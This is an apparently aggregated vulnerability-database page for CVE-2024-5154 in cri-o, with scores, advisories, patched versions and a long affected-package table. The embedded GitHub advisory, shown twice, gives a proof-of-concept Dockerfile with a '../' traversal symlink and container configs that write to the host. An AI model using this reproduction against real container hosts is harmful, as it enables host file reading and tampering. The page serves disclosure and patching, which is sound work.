CVE-2024-5154
Cri-o: malicious container can create symlink on host
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.1
Cri-o: malicious container can create symlink on host
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
- Record
CVE-2024-5154- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-04
EUVDEUVD-2024-2089
8.1
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
- Record
EUVD-2024-2089- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-04
GitHub AdvisoriesGHSA-j9hf-98c3-wrm8
8.1
malicious container creates symlink "mtab" on the host External
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
Are there any links users can visit to find out more?
- Record
GHSA-j9hf-98c3-wrm8- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-22, CWE-668
- Updated
- 2026-11-02
NVD
8.1
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
- Record
CVE-2024-5154- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-04
OSV
8.1
Cri-o: malicious container can create symlink on host
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
- Record
CVE-2024-5154- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-05
OSVGHSA-j9hf-98c3-wrm8
8.1
malicious container creates symlink "mtab" on the host External
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
Are there any links users can visit to find out more?
- Record
GHSA-j9hf-98c3-wrm8- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-22, CWE-668
- Updated
- 2026-11-02
Show 6 moreShow less
OSVRHSA-2024:3676
8.1
Red Hat Security Advisory: OpenShift Container Platform 4.15.17 security update
- Record
RHSA-2024:3676- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2024:3700
8.1
Red Hat Security Advisory: OpenShift Container Platform 4.14.29 packages and security update
- Record
RHSA-2024:3700- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2024:4008
8.1
Red Hat Security Advisory: OpenShift Container Platform 4.12.60 packages and security update
- Record
RHSA-2024:4008- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2024:4159
8.3
Red Hat Security Advisory: OpenShift Container Platform 4.16.1 packages and security update
- Record
RHSA-2024:4159- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2024:4486
8.1
Red Hat Security Advisory: OpenShift Container Platform 4.13.45 packages and security update
- Record
RHSA-2024:4486- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
OSVGO-2024-2919 No score
malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
- Record
GO-2024-2919- Updated
- 2026-11-02
Affected products
- kubernetes cri-o
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat openshift container platform 3.11
- red hat openshift container platform 4.12
- red hat openshift container platform 4.13
- red hat openshift container platform 4.14
- red hat openshift container platform 4.15
- red hat openshift container platform 4.16
- red hat openshift container platform 4.17
- redhat openshift container platform
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/cri-o/cri-oGo |
1.28.6 up to 1.28.7 | 1.28.7 |
github.com/cri-o/cri-oGo |
1.29.4 up to 1.29.5 | 1.29.5 |
github.com/cri-o/cri-oGo |
1.30.0 up to 1.30.1 | 1.30.1 |
github.com/cri-o/cri-oGo |
1.28.6 up to 1.28.7, 1.29.4 up to 1.29.5, 1.30.0 up to 1.30.1 | 1.28.71.29.51.30.1 |
cri-oRed Hat:openshift:4.15::el8 |
before 0:1.28.7-2.rhaos4.15.git111aec5.el8 | 0:1.28.7-2.rhaos4.15.git111aec5.el8 |
cri-o-debuginfoRed Hat:openshift:4.15::el8 |
before 0:1.28.7-2.rhaos4.15.git111aec5.el8 | 0:1.28.7-2.rhaos4.15.git111aec5.el8 |
cri-o-debugsourceRed Hat:openshift:4.15::el8 |
before 0:1.28.7-2.rhaos4.15.git111aec5.el8 | 0:1.28.7-2.rhaos4.15.git111aec5.el8 |
cri-oRed Hat:openshift:4.15::el9 |
before 0:1.28.7-2.rhaos4.15.git111aec5.el9 | 0:1.28.7-2.rhaos4.15.git111aec5.el9 |
cri-o-debuginfoRed Hat:openshift:4.15::el9 |
before 0:1.28.7-2.rhaos4.15.git111aec5.el9 | 0:1.28.7-2.rhaos4.15.git111aec5.el9 |
cri-o-debugsourceRed Hat:openshift:4.15::el9 |
before 0:1.28.7-2.rhaos4.15.git111aec5.el9 | 0:1.28.7-2.rhaos4.15.git111aec5.el9 |
Show 127 moreShow less
| Package | Affected | Fixed |
|---|---|---|
cri-oRed Hat:openshift:4.14::el8 |
before 0:1.27.7-3.rhaos4.14.git674563e.el8 | 0:1.27.7-3.rhaos4.14.git674563e.el8 |
cri-o-debuginfoRed Hat:openshift:4.14::el8 |
before 0:1.27.7-3.rhaos4.14.git674563e.el8 | 0:1.27.7-3.rhaos4.14.git674563e.el8 |
cri-o-debugsourceRed Hat:openshift:4.14::el8 |
before 0:1.27.7-3.rhaos4.14.git674563e.el8 | 0:1.27.7-3.rhaos4.14.git674563e.el8 |
cri-oRed Hat:openshift:4.14::el9 |
before 0:1.27.7-3.rhaos4.14.git674563e.el9 | 0:1.27.7-3.rhaos4.14.git674563e.el9 |
cri-o-debuginfoRed Hat:openshift:4.14::el9 |
before 0:1.27.7-3.rhaos4.14.git674563e.el9 | 0:1.27.7-3.rhaos4.14.git674563e.el9 |
cri-o-debugsourceRed Hat:openshift:4.14::el9 |
before 0:1.27.7-3.rhaos4.14.git674563e.el9 | 0:1.27.7-3.rhaos4.14.git674563e.el9 |
cri-oRed Hat:openshift:4.12::el8 |
before 0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8 | 0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8 |
cri-o-debuginfoRed Hat:openshift:4.12::el8 |
before 0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8 | 0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8 |
cri-o-debugsourceRed Hat:openshift:4.12::el8 |
before 0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8 | 0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8 |
cri-oRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:1.29.5-7.rhaos4.16.git7db4ada.el8 | 0:1.29.5-7.rhaos4.16.git7db4ada.el8 |
cri-o-debuginfoRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:1.29.5-7.rhaos4.16.git7db4ada.el8 | 0:1.29.5-7.rhaos4.16.git7db4ada.el8 |
cri-o-debugsourceRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:1.29.5-7.rhaos4.16.git7db4ada.el8 | 0:1.29.5-7.rhaos4.16.git7db4ada.el8 |
cri-oRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:1.29.5-7.rhaos4.16.git7db4ada.el9 | 0:1.29.5-7.rhaos4.16.git7db4ada.el9 |
cri-o-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:1.29.5-7.rhaos4.16.git7db4ada.el9 | 0:1.29.5-7.rhaos4.16.git7db4ada.el9 |
cri-o-debugsourceRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:1.29.5-7.rhaos4.16.git7db4ada.el9 | 0:1.29.5-7.rhaos4.16.git7db4ada.el9 |
openshiftRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 |
openshift-hyperkubeRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 |
openshift-kube-apiserverRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 |
openshift-kube-controller-managerRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 |
openshift-kube-schedulerRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 |
openshift-kubeletRed Hat:openshift:4.16::el8 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8 |
bpftoolRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:7.3.0-427.24.1.el9_4 | 0:7.3.0-427.24.1.el9_4 |
bpftool-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:7.3.0-427.24.1.el9_4 | 0:7.3.0-427.24.1.el9_4 |
kernelRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64kRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debugRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-develRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-devel-matchedRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-modulesRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-modules-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-modules-extraRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-modules-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debug-modules-partnerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-develRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-devel-matchedRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-modulesRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-modules-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-modules-extraRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-modules-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-64k-modules-partnerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-abi-stablelistsRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debugRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-develRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-devel-matchedRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-modulesRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-modules-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-modules-extraRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-modules-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-modules-partnerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debug-uki-virtRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debuginfo-common-aarch64Red Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debuginfo-common-ppc64leRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debuginfo-common-s390xRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-debuginfo-common-x86_64Red Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-develRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-devel-matchedRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-docRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-ipaclones-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-modulesRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-modules-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-modules-extraRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-modules-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-modules-partnerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rtRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debugRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-develRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-devel-matchedRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-kvmRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-modulesRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-modules-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-modules-extraRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-modules-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debug-modules-partnerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-develRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-devel-matchedRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-kvmRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-modulesRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-modules-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-modules-extraRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-modules-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-rt-modules-partnerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-selftests-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-toolsRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-tools-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-tools-libsRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-tools-libs-develRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-uki-virtRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdumpRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-develRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-devel-matchedRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-modulesRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-modules-coreRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-modules-extraRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-modules-internalRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
kernel-zfcpdump-modules-partnerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
libperf-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
openshiftRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 |
openshift-hyperkubeRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 |
openshift-kube-apiserverRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 |
openshift-kube-controller-managerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 |
openshift-kube-schedulerRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 |
openshift-kubeletRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 | 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el9 |
perfRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
perf-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
python3-perfRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
python3-perf-debuginfoRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
rtlaRed Hat:openshift:4.16::el9 From an advisory covering 2 CVEs |
before 0:5.14.0-427.24.1.el9_4 | 0:5.14.0-427.24.1.el9_4 |
cri-oRed Hat:openshift:4.13::el8 |
